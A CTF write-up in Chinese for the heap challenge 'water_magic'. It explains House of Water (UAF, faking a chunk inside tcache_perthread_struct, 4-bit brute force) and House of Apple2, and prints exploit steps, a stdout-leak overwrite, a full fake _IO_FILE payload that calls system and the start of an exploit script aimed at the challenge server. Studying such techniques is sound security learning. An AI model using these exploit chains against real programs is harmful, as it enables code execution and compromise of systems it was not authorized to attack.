water_magic

这题没给show和edit功能,malloc_chunk函数限制size<= 0x888,ptr数组可以存256个chunk,可以看到这里对我们chunk的数量和size都是比较宽松的,而且允许我们通过offest写入,也就是我们能精准控制从chunk的user_data哪个位置写入
还给了一个gift函数:
int gift()
{
int flag; // eax
flag = ::flag;
if ( ::flag )
return printf("gift: %ld\n", (unsigned __int16)_bss_start & 0xF000);
return flag;
}
这里是泄露_bss_start里面存的地址的低16位里的高nibble部分,也就是页位置
.bss:0000000000004020 ; FILE *_bss_start
.bss:0000000000004020 __bss_start dq ? ; DATA XREF: init+26↑r
.bss:0000000000004020 ; gift+16↑r ...
.bss:0000000000004020 ; Alternative name is 'stdout'
.bss:0000000000004020 ; stdout@GLIBC_2.2.5
.bss:0000000000004020 ; Copy of shared data
.bss:0000000000004028 align 10h
这里我们可以看到_bss_start 实际就是stdout这个全局变量的副本,也就是这里能直接让我们获得stdout的低16位,后面我们就可以部分覆盖一个libc地址为stdout的地址
unsigned __int64 free_chunk()
{
int num; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("idx: ");
__isoc99_scanf("%d", &num);
while ( getchar() != 10 )
;
if ( num < ::num && num >= 0 )
{
free((void *)ptr[num]);
puts("freed!");
}
else
{
puts("error");
}
return v2 - __readfsqword(0x28u);
}
free_chunk函数里有UAF漏洞
这题最大的难点是没有show泄露地址,且没有edit,我们无法直接利用UAF改已经free的chunk的内容,这里用到的方法是house of water,先简单看看house of water的原理(以下是house of water的原版,还有其他的变体,原理有点不同):
House of Water 的核心目标:
利用 UAF / double free / heap overflow 等堆漏洞,把堆开头的 tcache_perthread_struct 伪造成一个合法的 bin chunk,然后让 malloc 把这个假 chunk 返回给我们,从而获得对 tcache 元数据的控制。
可以理解为一种特殊的tcache poisoning,
普通 tcache poisoning 是:
控制某个 tcache chunk 的 next
↓
让 malloc 返回任意地址
House of Water 是:
控制 bin 链表
↓
把 tcache_perthread_struct 当作一个 fake chunk 链进去
↓
malloc 返回 tcache_perthread_struct 附近
↓
直接改 tcache 的 counts / entries
↓
后续 malloc 返回任意地址
普通的tcache poisoning受限于next指针的加密保护,如果我们能操作的空间受限(例如这题不能show和edit),我们很难通过这个保护,那为什么house of water就能绕过这个保护呢?
什么是 tcache_perthread_struct?
glibc的 tcache 不是存在 libc里面,而是存在heap上。第一次 malloc 的时候,glibc会在堆开头分配一块区域,用来保存当前线程的 tcache 元数据。很多情况下它大概是一个 0x290 大小的 chunk。
它的结构大致是:
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
也就是:
tcache_perthread_struct
├── counts[64] // 每个 tcache bin 当前有几个 chunk
└── entries[64] // 每个 tcache bin 的链表头指针
我们平时看到的:
tcachebins
0x20 [ 3]: 0x5555555592a0 -> 0x555555559280 -> ...
0x30 [ 1]: 0x555555559300
底层本质上就是:
counts[idx] = 3
entries[idx] = 0x5555555592a0
其中 entries[idx] 存的是当前 size class 的 tcache 链表头。
关键的是:tcache_perthread_struct->entries[] 里的指针本身不受 safe-linking 保护。 safe-linking保护的是 tcache / fastbin chunk 内部的 next 指针,而不是 tcache_perthread_struct 里的 entries 数组。也就是说,一旦我们能写 entries[idx],我们就能直接地控制后续 malloc(size) 返回哪里。
举例来说:
tcache_perthread_struct
+0x000: counts[0]
+0x002: counts[1]
...
+0x080: entries[0] // 0x20 bin
+0x088: entries[1] // 0x30 bin
+0x090: entries[2] // 0x40 bin
...
我们伪造:
counts[0x40_bin] = 1
entries[0x40_bin] = target_addr
然后:
malloc(0x38);
glibc就会认为:
0x40 tcache bin 里面有一个 chunk
链表头是 target_addr
于是它会返回 target_addr 这个chunk。
House of Water的核心是它发现 tcache_perthread_struct 的某些字节组合,看起来像一个合法的malloc
chunk header。
如果一个chunk 在 unsorted bin / small bin 里,它的结构大概是:
free chunk:
+0x00 prev_size
+0x08 size
+0x10 fd
+0x18 bk
而 tcache_perthread_struct 的布局是:
counts[64] // uint16_t
entries[64] // pointer
由于 counts 是 2 字节一个,某些 tcache bin 的 count 被设置成 1 后,内存里可能出现类似:
0x0000000000010001
这东西放在 chunk 的 size 字段里,就很像:
size = 0x10001
其中:
0x10000 是 chunk 大小
0x1 是 PREV_INUSE bit
也就是一个合法 size:
fake chunk size = 0x10000 | PREV_INUSE
整体流程:
原版大概可以理解成 6 个阶段。
阶段 1:准备 tcache metadata 里的fake size
目标是在 tcache_perthread_struct 内部构造:
fake_chunk:
+0x00 prev_size
+0x08 size = 0x10001
+0x10 fd
+0x18 bk
其中最关键的是 size = 0x10001。
这个 0x10001 是利用 tcache 的 counts[] 构造出来的。
0x0000000000010001 作为 8 字节内存,在 x86_64 小端里实际长这样:
01 00 01 00 00 00 00 00
而 counts[] 每个元素是 uint16_t,也就是 2 字节,所以可以拆成 4 个连续的 count:
01 00 | 01 00 | 00 00 | 00 00
也就是:
counts[i] = 1;
counts[i + 1] = 1;
counts[i + 2] = 0;
counts[i + 3] = 0;
这样我们就能在 tcache_perthread_struct附近构造出0x10001这个size值了
阶段 2:准备 fake chunk 的 fd / bk
既然要让fake chunk 进入unsorted bin,那么它必须满足双向链表一致性。
如果我们想把 fake chunk 插到:
start <-> middle <-> end
中间,替换掉 middle,那么我们希望最终变成:
start <-> fake <-> end
那么 fake chunk 必须有:
fake->fd = end
fake->bk = start
同时:
start->fd = fake
end->bk = fake
这样 unlink 检查才能通过:
fake->fd->bk == fake
fake->bk->fd == fake
阶段 3:构造fake chunk的fd/bk
这里是House of Water的难点。
fake chunk 位于 tcache_perthread_struct 里面。
它的 fd / bk 位置,刚好落在 entries[] 附近。
也就是说:
fake->fd ≈ tcache_perthread_struct->entries[0]
fake->bk ≈ tcache_perthread_struct->entries[1]
所以我们不是直接写 fake->fd / fake->bk,而是想办法让 tcache entries 自己变成我们想要的值,这里需要结合具体题目操作。
这里要注意的一点是tcache 和 unsorted bin 对chunk指针的理解不一样。
tcache 里存的是 user pointer
如果:
p = malloc(0x20);
free(p);
tcache entry 存的是:
p
也就是user_data区的地址。
unsorted / small bin 里链的是 chunk header
但是 unsorted bin / small bin 的 fd/bk 指向的是 chunk header:
p - 0x10
所以 House of Water 里有一个经典麻烦:
tcache entries 想自然写入的是 user pointer
unsorted fake chunk 需要的是 chunk header pointer
所以有些题要写:
free(start - 0x10);
free(end - 0x10);
因为我们想让 tcache entry 里保存的地址,刚好等于 unsorted chunk 的 header 地址。
阶段 4:准备真实 unsorted bin 链
我们准备三个正常 chunk:
start
guard
middle
guard
end
guard
guard 的作用是防止相邻 free chunk 合并。
这里常用把tcache bin填满然后放进unsortedbin的技巧
最终形成:
unsorted bin:
start <-> middle <-> end
阶段 5:部分覆盖 start->fd 和 end->bk
现在我们有:
start <-> middle <-> end
也就是:
start->fd = middle
middle->bk = start
middle->fd = end
end->bk = middle
我们的目标是把 middle 替换成 fake:
start <-> fake <-> end
所以需要改:
start->fd = fake
end->bk = fake
这里经典的方法是利用partial overwrite(因为我们是基本都是在无法泄露地址的情况下用house of water的)。
也就是我们要4bit爆破页位置,1/16这个概率是可以接受的。
阶段 6:让 malloc 返回 fake chunk
现在链表逻辑变成:
unsorted bin:
start <-> fake <-> end
而 fake chunk 的结构是:
fake:
+0x00 prev_size #这个一般不用特意去伪造
+0x08 size = 0x10001
+0x10 fd = end
+0x18 bk = start
同时还要在:
fake + 0x10000
伪造下一个 chunk 的 metadata,例如:
prev_size = 0x10000
size = 合法 size,且 PREV_INUSE 清掉
这是为能正常通过glibc检查:
检查通过后,malloc 处理unsorted bin时就能把 fake chunk 返回给我们。
返回的是:
fake + 0x10
而 fake 位于 tcache_perthread_struct 内部,所以拿到的是:
tcache_perthread_struct 附近的可写指针
到这里,House of Water 就成功了:
UAF / double free / partial overwrite
↓
malloc 返回 tcache_perthread_struct
↓
控制 tcache metadata
能控制tcacge metadata就可以做类似tcache poisoning的操作了,后面就很常规了。
我们看这题我们是怎么通过复杂的堆风水来实现house of water:
for i in range(0,7):
add(0x88)
for i in range(7,14):
add(0x1A8)
add(0x3D8) #14
add(0x3E8) #15
此时堆情况:
.png)
我们此时可以在gdb中看到:
.png)
.png)
当我们malloc chunk后,tcache_perthread_struct也malloc到同一页,size也是常规的0x290
delete(14)
delete(15)
这一步就是我们前面提到的利用counts制造size,这里0x3e0和0x3f0对应的就是+0x088的位置
.png)
add(0x18,b'guard1\n') #16
for i in range(17,21):
add(0x88)
add(0x18,b'guard2\n') #21
for i in range(22,26):
add(0x88)
add(0x18,b'guard3\n') #26
继续malloc
此时堆布局是:
.png)
然后
for i in range(0,7):
delete(i)
填满0x90的tcache
delete(17)
delete(18)
delete(19)
delete(22)
delete(23)
delete(24)
由于0x90的tcache被填满了,这些chunk会被放入unsortedbin
chunk17、18、19是相邻的,所以会进行合并,chunk22、23、24同理,此时堆布局是:
.png)
add(0x1A8, b"2" * 0x118 + p64(0x31) + b"\n") # 27 控chunk24
add(0x1A8, b"1" * 0x118 + p64(0x21) + b"\n") # 28 控chunk19
这里malloc的是0x1b0大小的,也就是刚好三个0x90,所以会把unsortedbin里合并的两个chunk取出来,这里我们就能通过malloc时的写入修改chunk24的size的位置为0x31,同理,把chunk19的size改成0x21
此时堆布局:
.png)
这里菱形起虚线的作用,代表这两个chunk已经从unsortedbin里malloc出去了(这里chunk14和chunk15还在tcache里,图上没标)
delete(19)
delete(24)
由于我们前面把chunk19的size改成0x21,chunk24的size改为0x31,而我们又有UAF,所以我们就能进行double free,这里chunk19又会进入0x20的tcache,chunk24会进入0x31的tcache
.png)
这里利用entries[]会指向tcache的头chunk的机制把+0x90和+0x98的位置设置成堆地址了(解决了house of water里最难的一步,设置fake chunk的fd和bk),这也是为什么我们前面选择0x3e0和0x3f0,因为这两个size能把0x10001放在counts和entries的边界,
我们前面提到了,tcache里存的是chunk的user_data区地址,也就是chunk的地址+0x10,后面我们只要在unsortedbin里放置chunk24+0x10 - - 0x80 fakechunk -- chunk19+0x10,我们就基本完成了一次house of water的条件
然后我们再重复一遍(这次进的是0x1b0的tcache,不是unsortedbin了,不过效果一样)
delete(27)
delete(28)
add(0x1A8, b"a" * 0x88 + p64(0xE1) + b"\n") # 29 原28 控chunk18
add(0x1A8, b"b" * 0x88 + p64(0xF1) + b"\n") # 30 原27 控chunk23
不过这次是控制好距离把chunk18的size改成0xe0,把chunk23的size改为0xf0
for i in range(7,14):
delete(i)
这里把0x1b0的tcache填满
delete(18)
delete(23)
改为size后进行double free,此时堆布局是:
.png)
delete(29) #chunk28
delete(20)
这里把chunk28和chunk20一起放入unsortedbin,chunk28是由chunk17、18、19合并的,自然与chunk20相邻,也会触发合并成一个size为0x240的chunk
add(0x38)#31 chunk17
add(0x48)#32
add(0x38)#33 chunk18 + chunk19_header
add(0x58)#34
add(0x108)#35 (chunk19+0x10) + chunk 20
然后把这个0x240的大块切分成这几个小块,刚好把0x240分完,这里分配的大小也是计算过的,chunk31和chunk32刚好就是原来的整个chunk17,chunk33和chunk34是整个chunk18加上chunk19的前0x10,chuunk35的开头是chunk19的地址+0x10,因为我们前面提到过我们要的是chunk24+0x10 - - 0x80 fakechunk -- chunk19+0x10,后面我们直接delete(35)就是chunk19+0x10了
对chunk27也进行同样的操作
delete(30) #chunk27
delete(25)
add(0x38)#36 chunk22
add(0x48)#37
add(0x38)#38 chunk23 + chunk24_header
add(0x58)#39
add(0x108)#40 (chunk24+0x10) + chunk25
此时的堆布局:
.png)
add(0x108)#41
for i in range(42,49):
add(0x108)
for i in range(42,49):
delete(i)
再malloc一个0x110的chunk,然后把0x110的tcache填满
for i in range(49,85):
add(0x5f8)
然后申请多个0x600的大chunk,是为了准备写我们house of water的fake chunk的next chunk的pre_size为0x10000且size为有效值,因为我们的开头在+0x80,所以我们要malloc很大位置才能到0x10080,此时堆布局为:
.png)
add(0x5F8, b"A" * 0xF0 + p64(0x10000) + p64(0x20) + b"\n") # 85
这一步就是正式写入0x10000的pre_size和0x20的有效szie,效果如下:
.png)
然后就是构造最后一步start <-> fake <-> end我们的house of water就成型了
delete(35)#chunk19+0x10
delete(41)
delete(40)#chunk24+0x10
先放三个chunk进unsortedbin里,我们的目标是chunk24+0x10 - - 0x80 fakechunk -- chunk19+0x10,所以我们先delete(35),最后delete(40)
add(0xD8, p16(0x6080) + b"\n", 1, 0xA8) # 86 原chunk18 控chunk35的bk
add(0xE8, p16(0x6080) + b"\n", 1, 0xA0) # 87 原chunk23 控chunk40的fd
malloc(0xd8)就是申请出0xe0 tcache里的chunk18,chunk18和chunk19最开始申请的时候size都是0x90,所以chunk19实际地址在chunk18+0x90,跳过0x10的chunk19的header和0x8的fd,然后改bk的最后两字节,,就把bk改成了我们的fake chunk了,改chunk40的fd同理
此时我们完成了伪造,unsortedbin里凭空出现了一个size为0x10000的chunk,它的地址为+0x080
那我们后面malloc就能成功控制 tcache_perthread_struct里的entries[]数组了
add(0x248, p16(0x6010) + b"\n", 1, 0x1E0) # 88 从我们伪造的0x10000的chunk切下
我们的目的是覆盖一个libc地址的低两字节为stdout,但是我们可以发现libc地址存在+0x080前面,所以这里我们先把0x3e0的tcache的entries指向+0x010,把我们能控制的地方前移
这个代表从我们伪造的+0x80开始切下来一块0x250大小的chunk,这里我们的
.png)
这里我们看到实际上我们就是把0x5555893fb270里面存的0x5555893fc260的低两字节改成0xc010(这次的页偏移是c)
这里我们是部分覆盖的,我们只能确定0x080这个固定的页内偏移,但是0x6080这个6代表的页偏移是我们不能确定,所以这里我们是把我们上面的步骤封装成一个函数,然后循环爆破,如果6这个页偏移错误的话我们会在add(0x248, p16(0x6010) + b"\n", 1, 0x1E0)这个从unsortedbin解链的时候报错,1/16这个概率是可以接受的
成功的效果是这样的:
.png)
.png)
我们可以看到0x3e0这个tcache的entries指针已经指向了 tcache_perthread_struct的开头+0x010的位置了
add2(0x3D8, p64(0x10001) + p64(0) * 0x10 + p16(stdout_low) + b"\n") # 89 原chunk14 ,修改了chunk88的bk
这里我们再malloc(0x3d8),实际上就是从 tcache_perthread_struct的开头看作一个chunk,它的user_data地址是 tcache_perthread_struct的开头+0x010,我们就能任意写入 tcache_perthread_struct的每个位置了,我们找一个tcache的entries指针原本就指向libc地址的位置,然后覆盖低两字节
.png)
我们看到,这里就成功把0x30的tcache的entries指针改成了指向stdout了,这里我们保持0x10001是为了让0x20和0x30的counts为正常的1,方便我们后面从0x30的tcache取chunk能正常
add2(0x28, p64(0xFBAD1800) + p64(0) * 3 + b"\x00\n")
然后我们申请0x30的chunk实际上就把stdout申请出来了,我们就能修改stdout了,我们就可以修改write_base的低一字节为0,让write_base<write_ptr,它就会打印出来这部分地址的内容,里面有libc地址了,这部分的原理可以看简单的pwn - Zenquietus里面有提到,重点理解的就是:
_IO_write_base : 写缓冲区的起点
_IO_write_ptr : 当前已经写到哪里,也就是“已填充数据”的末尾
_IO_write_end : 写缓冲区的终点
有了libc地址后我们还要泄露heap地址才能打最后的house of apple2
delete(89)
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(libc.sym["_IO_2_1_stdout_"]) + b"\n") # 91
这里chunk89就是前面我们提到 tcache_perthread_struct的chunk,这个chunk的size我们前面也提到了是0x290这个通常的大小,我们把这个delete,就会进入0x290的tcache里,我们再malloc 出来就能再次修改 tcache_perthread_struct了,这里0x100010001还是为了保证counts的正常,由于我们已经有libc地址了,所以这里我们能直接完全覆盖一个地址为stdout的地址,所以这里选择哪个tcache的entries比较自由,我们选择把0x40的tcache覆盖了
.png)
add2(
0x38,
p64(0xFBAD1800)
+ p64(0) * 3
+ p64(libc.address + 0x203b20)
+ p64(libc.address + 0x203b20 + 0x20)
+ p64(libc.address + 0x203b20 + 0x20)
) # 92
然后这里就是再次对stdout进行修改,不过这次我们要把它的wrtie_base移到一个有堆地址的libc的位置上,这里我选的是unsortedbin的表头,选其他的也可以。
最后就是打house of apple2了,我们要先把我们伪造的fake FILE放在堆里
add2(0x600, payload + b"\n") # 93
先讲讲house of apple2的原理再看payload的写法:
House of Apple2 = 伪造 _IO_FILE 的 _wide_data,让 glibc 在执行合法 IO vtable 函数时,进入 wide-char 相关逻辑,最后通过 _wide_data->_wide_vtable->__doallocate(fp) 间接调用我们控制的函数。
经典调用链大概是:
exit()
-> _IO_cleanup()
-> _IO_flush_all_lockp()
-> _IO_OVERFLOW(fp, EOF)
-> _IO_wfile_overflow(fp, EOF)
-> _IO_wdoallocbuf(fp)
-> _IO_WDOALLOCATE(fp)
-> fp->_wide_data->_wide_vtable->__doallocate(fp)
其中真正关键的最后一步是:
call [fp->_wide_data->_wide_vtable + offset]
如果我们能控制:
fp->_wide_data
fp->_wide_data->_wide_vtable
fp->_wide_data->_wide_vtable->__doallocate
就能让程序跳到想要的函数。
从glibc 2.24开始,glibc 对 _IO_FILE_plus 的 vtable 做了检查。 vtable 不能随便指向堆地址或栈地址,它必须落在 glibc 的合法 __libc_IO_vtables 区域附近,否则会触发 _IO_vtable_check 然后 abort。
于是 House of Apple2 的思路是:
不直接伪造主 vtable 到堆上,而是让主 vtable 指向 glibc 内部合法的 _IO_wfile_jumps。
也就是说:
fp->vtable = &_IO_wfile_jumps;
这个地址在 libc 的合法 IO vtable 区域里,因此能通过 vtable check。
然后利用 _IO_wfile_jumps 里的函数进入 wide-char 处理流程,在 wide-char 逻辑中使用:
fp->_wide_data->_wide_vtable
这个二级 vtable。
glibc 检查的是 _IO_FILE_plus 的主 vtable,不会同等严格检查 _wide_data->_wide_vtable。
这就是 Apple2 的突破点。
_IO_FILE:
stdout、stdin、stderr 本质上都是 glibc 里的 _IO_FILE_plus 对象。
简化后可以理解成:
struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
// ...
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
// ...
struct _IO_wide_data *_wide_data;
// ...
int _mode;
};
真正的 stdout 类型更准确是:
struct _IO_FILE_plus {
struct _IO_FILE file;
const struct _IO_jump_t *vtable;
};
也就是说,内存布局大概是:
_IO_FILE_plus
+-------------------------+
| struct _IO_FILE file |
| _flags |
| read/write pointers |
| _chain |
| _fileno |
| _wide_data ---------- | ----+
| _mode | |
+-------------------------+ |
| vtable ---------------- | --> _IO_file_jumps / _IO_wfile_jumps
+-------------------------+ |
|
v
struct _IO_
IO_jump_t:
主 vtable 是 _IO_jump_t 类型,大概像这样:
struct _IO_jump_t {
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
// ...
};
很多宏本质上就是取 vtable 里的函数指针调用。
例如:
_IO_OVERFLOW(fp, EOF)
大概等价于:
fp->vtable->__overflow(fp, EOF);
如果:
fp->vtable = _IO_wfile_jumps;
那么:
_IO_OVERFLOW(fp, EOF)
就会调用:
_IO_wfile_overflow(fp, EOF)
这就是 House of Apple2 常见入口。
_IO_wide_data:
_wide_data 是 wide-character IO 相关结构。也就是宽字符流,比如处理 wchar_t、宽字符输入输出时使用。
它里面也有一套缓冲区指针和一个重要字段:
struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
// ...
const struct _IO_jump_t *_wide_vtable;
};
Apple2 的核心就是这个:
fp->_wide_data->_wide_vtable
主 vtable 是:
fp->vtable
而 wide vtable 是:
fp->_wide_data->_wide_vtable
House of Apple2 就是借助 wide-char 流程,把控制点从受检查的主 vtable,转移到相对更容易伪造的 _wide_vtable。
触发点:exit()
很多Apple2链条都是靠 exit() 触发。
程序退出时,glibc 会清理所有打开的 FILE 流,核心逻辑大概是:
exit()
-> _IO_cleanup()
-> _IO_flush_all_lockp()
_IO_flush_all_lockp() 会遍历 _IO_list_all 链表上的 FILE 结构。
可以粗略理解成:
for (fp = _IO_list_all; fp != NULL; fp = fp->_chain) {
if (需要刷新 fp) {
_IO_OVERFLOW(fp, EOF);
}
}
所以如果我们能让 _IO_list_all 指向伪造的 FILE,或者把已有的 stdout / stderr 改造成满足条件的 fake FILE,就能在程序退出时触发:
_IO_OVERFLOW(fp, EOF)
而 _IO_OVERFLOW 会走 vtable:
fp->vtable->__overflow(fp, EOF)
如果 vtable 被设置成:
_IO_wfile_jumps
那么调用的就是:
_IO_wfile_overflow(fp, EOF)
这就是 Apple2 最经典的入口链。
_IO_flush_all_lockp() 为什么会调用 overflow?
它不是对所有 FILE 都调用,需要满足刷新条件。
常见判断逻辑可以简化成:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset(fp) == 0
&& fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base))
&& _IO_OVERFLOW(fp, EOF) == EOF)
{
result = EOF;
}
这里有两个分支:
分支一:普通字节流分支:
fp->_mode <= 0
&& fp->_IO_write_ptr > fp->_IO_write_base
这个是普通 char 流。
例如 stdout 普通输出时,write_ptr > write_base 表示缓冲区里有东西没刷新。
分支二:宽字符流分支:
fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
这个是 wide-char 流。
House of Apple2 通常让:
fp->_mode > 0
并伪造:
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
这样 _IO_flush_all_lockp() 就认为:
这个 wide FILE 有数据需要 flush。
于是它调用:
_IO_OVERFLOW(fp, EOF)
又因为:
fp->vtable = _IO_wfile_jumps
所以进入:
_IO_wfile_overflow(fp, EOF)
_IO_wfile_overflow() 里具体进行了什么操作:
_IO_wfile_overflow(fp, EOF) 是 wide FILE 的 overflow 处理函数。
里面有一条非常关键的逻辑:
if (fp->_wide_data->_IO_buf_base == NULL) {
_IO_wdoallocbuf(fp);
}
也就是:
如果 wide buffer 还没有分配,那就调用 _IO_wdoallocbuf(fp) 去分配 wide buffer。
所以 Apple2 会故意设置:
fp->_wide_data->_IO_buf_base = 0;
逼它进入:
_IO_wdoallocbuf(fp)
_IO_wdoallocbuf() :
_IO_wdoallocbuf(fp) 里面会调用一个宏:
_IO_WDOALLOCATE(fp)
这个宏本质上会走:
fp->_wide_data->_wide_vtable->__doallocate(fp)
也就是说,它会从 _wide_data 里取 _wide_vtable,然后调用里面的 __doallocate 函数指针。
这就是 House of Apple2 的核心利用点。
简化后:
void _IO_wdoallocbuf(FILE *fp) {
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED)) {
if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF)
return;
}
// ...
}
而:
_IO_WDOALLOCATE(fp)
可以理解为:
fp->_wide_data->_wide_vtable->__doallocate(fp)
所以只要我们伪造:
fp->_wide_data = fake_wide_data;
fake_wide_data->_wide_vtable = fake_wide_vtable;
fake_wide_vtable->__doallocate = system;
最终就会变成:
system(fp);
注意,这时候传给 system 的第一个参数是:
fp
也就是 FILE 结构本身的地址。
所以为了让它执行:
system("/bin/sh")
常见做法是让 fake FILE 开头就是字符串:
"/bin/sh\x00"
因为函数调用时:
rdi = fp
如果 fp 指向的内存开头是:
/bin/sh\x00
那么:
system(fp)
就等价于:
system("/bin/sh")
最经典的伪造布局:
假设我们能控制一块堆内存,放 fake FILE、fake wide_data、fake wide_vtable。
可以设计成:
fake_file_addr:
+0x000: "/bin/sh\x00"
+0x008: ...
fake _IO_FILE fields
...
+offset(_wide_data): fake_wide_data_addr
+offset(_mode): 1
+sizeof(FILE): _IO_wfile_jumps
fake_wide_data_addr:
+offset(_IO_write_base): 0
+offset(_IO_write_ptr): 1
+offset(_IO_buf_base): 0
+offset(_wide_vtable): fake_wide_vtable_addr
fake_wide_vtable_addr:
+offset(__doallocate): system
触发时:
exit()
-> _IO_flush_all_lockp()
-> 判断 fake_file 需要 flush
-> _IO_OVERFLOW(fake_file, EOF)
-> fake_file->vtable->__overflow(fake_file, EOF)
-> _IO_wfile_overflow(fake_file, EOF)
-> fake_file->_wide_data->_IO_buf_base == 0
-> _IO_wdoallocbuf(fake_file)
-> fake_file->_wide_data->_wide_vtable->__doallocate(fake_file)
-> system(fake_file)
-> system("/bin/sh")
fake FILE 的关键字段
_flags
通常开头可以放:
_flags = 0x68732f6e69622f
这个就是:
/bin/sh\x00
小端解释。
因为 system(fp) 时,fp 会作为 char * 使用。
也可以写成:
fake_file = b"/bin/sh\x00"
_wide_data
必须指向伪造的 wide_data:
fp->_wide_data = fake_wide_data;
这是 Apple2 的核心控制对象。
_mode
通常要设置成大于 0:
fp->_mode = 1;
这样 _IO_flush_all_lockp() 会走 wide 分支:
fp->_mode > 0
&& fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
vtable
设置成合法 libc 地址:
fp->vtable = _IO_wfile_jumps;
注意不是 fake vtable。
这是为了绕过主 vtable check。
_IO_wfile_jumps 是 libc 里的合法跳转表,专门用于 wide-character FILE。
fake wide_data 的关键字段
_IO_write_base
设置小一点:
fake_wide_data->_IO_write_base = 0;
_IO_write_ptr
设置大一点:
fake_wide_data->_IO_write_ptr = 1;
目的是满足:
_IO_write_ptr > _IO_write_base
_IO_buf_base
设置为 0:
fake_wide_data->_IO_buf_base = 0;
目的是让 _IO_wfile_overflow() 进入:
_IO_wdoallocbuf(fp)
_wide_vtable
指向 fake wide vtable:
fake_wide_data->_wide_vtable = fake_wide_vtable;
fake wide_vtable 的关键字段
关键是 __doallocate 对应的函数指针。
fake_wide_vtable->__doallocate = system;
实际 payload 里不是写结构体名,而是根据 offset 写:
payload = flat({
doallocate_offset: system_addr
})
很多 glibc 版本里,__doallocate 在jump table中的offset常见是 0x68,但这个值具体要看版本。
常见 payload 伪代码:
fake_file = heap_addr
fake_wide_data = heap_addr + 0x200
fake_wide_vtable = heap_addr + 0x300
payload_file = flat({
0x00: b"/bin/sh\x00",
# 让 _IO_flush_all_lockp 认为这个 FILE 需要 flush
offset_wide_data: fake_wide_data,
offset_mode: 1,
# FILE 结构末尾的主 vtable
offset_vtable: libc.sym["_IO_wfile_jumps"],
})
payload_wide_data = flat({
offset_wide_write_base: 0,
offset_wide_write_ptr: 1,
offset_wide_buf_base: 0,
offset_wide_vtable: fake_wide_vtable,
})
payload_wide_vtable = flat({
offset_doallocate: libc.sym["system"],
})
然后你需要让:
_IO_list_all = fake_file
或者覆盖已有的:
stdout / stderr
最后触发:
exit()
我们具体来看这个payload是怎么写的
fake_file = heap_base + 0x2E0
fake_wide_data = fake_file + 0x100
fake_wide_vtable = fake_file + 0x220
payload = b""
fake_file_payload = b" sh;".ljust(0x8, b"\x00") # fake_file 开头,最后作为 system(fake_file) 的参数
fake_file_payload += p64(0) * 3 # _IO_read_ptr / _IO_read_end / _IO_read_base
fake_file_payload += p64(1) # _IO_write_base = 1
fake_file_payload += p64(2) # _IO_write_ptr = 2
fake_file_payload = fake_file_payload.ljust(0x30, b"\x00")# _IO_write_end = 0
fake_file_payload += p64(0)
fake_file_payload = fake_file_payload.ljust(0x88, b"\x00")
fake_file_payload += p64(libc.address + 0x205710) # _lock,要填一个合法地址通过检查
fake_file_payload = fake_file_payload.ljust(0xA0, b"\x00")
fake_file_payload += p64(fake_wide_data) # _wide_data = fake_wide_data
fake_file_payload = fake_file_payload.ljust(0xD8, b"\x00") # _mode 默认保持 0
fake_file_payload += p64(libc.sym["_IO_wfile_jumps"]) # vtable = _IO_wfile_jumps
fake_wide_data_payload = b""
fake_wide_data_payload = fake_wide_data_payload.ljust(0xE0, b"\x00") # fake_wide_data->_IO_buf_base = 0,进入 _IO_wdoallocbuf
fake_wide_data_payload += p64(fake_wide_vtable) # fake_wide_data->_wide_vtable = fake_wide_vtable
fake_wide_vtable_payload = b""
fake_wide_vtable_payload = fake_wide_vtable_payload.ljust(0x68, b"\x00") #常见偏移是0x68
fake_wide_vtable_payload += p64(system_addr) # fake_wide_vtable->__doallocate = system
payload = b""
payload += fake_file_payload
payload = payload.ljust(fake_wide_data - fake_file, b"\x00")
payload += fake_wide_data_payload
payload = payload.ljust(fake_wide_vtable - fake_file, b"\x00")
payload += fake_wide_vtable_payload
我们这个payload是按前面的标准的payload写的,对照着理解就行了,需要注意的就是
开头是参数fp,我们放 sh;,这里实测/bin/sh不行,会造成污染,这里选择更短的 sh;
这里mode被我们填充为了0,虽然我们前面说的常见的mode是填充为>0,但是在实际解题中为了通过其他的检查常常会设置成0,但是没关系,因为真正进入 wide 逻辑靠的是:
vtable = _IO_wfile_jumps
也就是说:
触发 overflow 用普通分支
实际执行 overflow 函数用 _IO_wfile_jumps 里的 _IO_wfile_overflow
add2(0x288, p64(0x100010001) + p64(0) * 0x11 + p64(io_list_all) + b"\n")
add2(0x38, p64(fake_file) + b"\n")
然后再次同样利用前面的原理把fake file的地址放进io_list_all
lock的地址的偏移我们可以直接在gdb中找出来
.png)
然后我们再exit就行了,但是这里要注意一下题目里两个exit的区别
exit(0);
_exit(1);
exit(0)是正常退出,能触发FILE流清理,也就是能触发我们的house of apple2攻击,而_exit(1)代表异常退出,会直接退出不触发清理,所以是无法触发我们的攻击的
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
target = '47.98.139.78:33332'
file_name = './vuln'
